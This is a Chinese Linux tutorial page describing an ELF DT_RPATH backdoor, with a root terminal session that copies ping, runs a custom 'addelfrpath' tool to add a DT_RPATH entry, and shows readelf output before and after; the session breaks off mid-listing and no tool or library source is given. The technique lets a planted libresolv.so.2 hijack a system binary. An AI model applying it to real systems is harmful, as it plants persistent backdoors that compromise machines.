Linux中国 Linux中国门户站!
设为主页 设为主页
收藏本站 收藏本站
 
当前位置 :首页 ->Linux技术 ->系统管理 ->正文

Linux系统下解析Elf文件DT_RPATH后门

来源: 作者: 时间:2007-04-11 点击: [收藏] [投稿]
<< ELF动态解析符号过程(修订版)>>。需要注意的是我们之所以能截获__libc_start_main是因为ping这个程序加载了两个。SO, 解析符号时link_map的结构中两个双向链表连接被加载的。SO,因为实际上因为顺着链表查询符号因为先找到libresolv。so。2,然后才是libc。so。6。看图3注意处,DT_NEEDED,基本说明白了。

具体的过程不贴了,自己动手fixup一下。

我们看一下真实的ping DT_RPATH后门

[wujian@redhat72 elf_door]$ id

uid=500(wujian) gid=500(wujian) groups=500(wujian)

[wujian@redhat72 elf_door]$ su root

Password:

[root@redhat72 elf_door]# cp /bin/ping /bin/pinG

[root@redhat72 elf_door]# cp addelfrpath disp/

[root@redhat72 elf_door]# cp libresolv。so。2 disp/

[root@redhat72 elf_door]# cd disp

[root@redhat72 disp]# ls

addelfrpath libresolv。so。2

[root@redhat72 disp]# /bin/pinG

Usage: ping [-LRUbdfnqrvV] [-c count] [-i interval] [-w wait]

[-p pattern] [-s packetsize] [-t ttl] [-I interface address]

[ -T timestamp option ] [ -Q tos ] host

[root@redhat72 disp]# readelf -d /bin/pinG

Dynamic segment at offset 0x5618 contains 21 entries:

Tag Type Name/Value

0x00000001 (NEEDED) Shared library: [libresolv。so。2]

0x00000001 (NEEDED) Shared library: [libc。so。6]

0x0000000c (INIT) 0x8048a7c

0x0000000d (FINI) 0x804bfb0

0x00000004 (HASH) 0x8048128

0x00000005 (STRTAB) 0x8048610

0x00000006 (SYMTAB) 0x80482a0

0x0000000a (STRSZ) 541 (bytes)

0x0000000b (SYMENT) 16 (bytes)

0x00000015 (DEBUG) 0x0

0x00000003 (PLTGOT) 0x804e554

0x00000002 (PLTRELSZ) 360 (bytes)

0x00000014 (PLTREL) REL

0x00000017 (JMPREL) 0x8048914

0x00000011 (REL) 0x80488e4

0x00000012 (RELSZ) 48 (bytes)

0x00000013 (RELENT) 8 (bytes)

0x6ffffffe (VERNEED) 0x80488b4

0x6fffffff (VERNEEDNUM) 1

0x6ffffff0 (VERSYM) 0x8048844

0x00000000 (NULL) 0x0

[root@redhat72 disp]# 。/addelfrpath /bin/pinG

+hErE is to Start

+filetype is ok

+modify __gmon_start__ to _wujianqiang:

+20 real entrys add DT_RPATH entry

game over

[root@redhat72 disp]# readelf -d /bin/pinG

Dynamic segment at offset 0x5618 contains 22 entries:

Tag Type Name/Value

0x00000001 (NEEDED) Shared library: [libresolv。so。2]

0x00000001 (NEEDED) Shared library: [libc。so。6]

0x0000000c (INIT) 0x8048a7c

0x0000000d (FINI) 0x804bfb0

0x00000004 (HASH) 0x8048128

0x00000005 (STRTAB) 0x8048610

0x00000006 (SYMTAB) 0x80482a0

0x0000000a (STRSZ) 541 (bytes)

0x0000000b (SYMENT) 16 (bytes)

0x00000015 (DEBUG) 0x0

0x00000003 (PLTGOT) 0x804e554

0x00000002 (PLTRELSZ) 360 (bytes)

0x00000014 (PLTREL) REL

0x00000017 (JMPREL) 0x8048914

0x00000011 (REL) 0x80488e4

0x00000012 (RELSZ) 48 (bytes)

 如果您对本文有任何疑问或者建议,请到讨论区发表您的意见: >> 论坛入口 <<



上一篇:Linux系统调用的执行过程是怎么样的?   下一篇:Linux系统中实现内部进程通信的方法

文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【我要投稿】 【论坛讨论
更多相关文章
Power by linux-cn.com 粤ICP备05006655号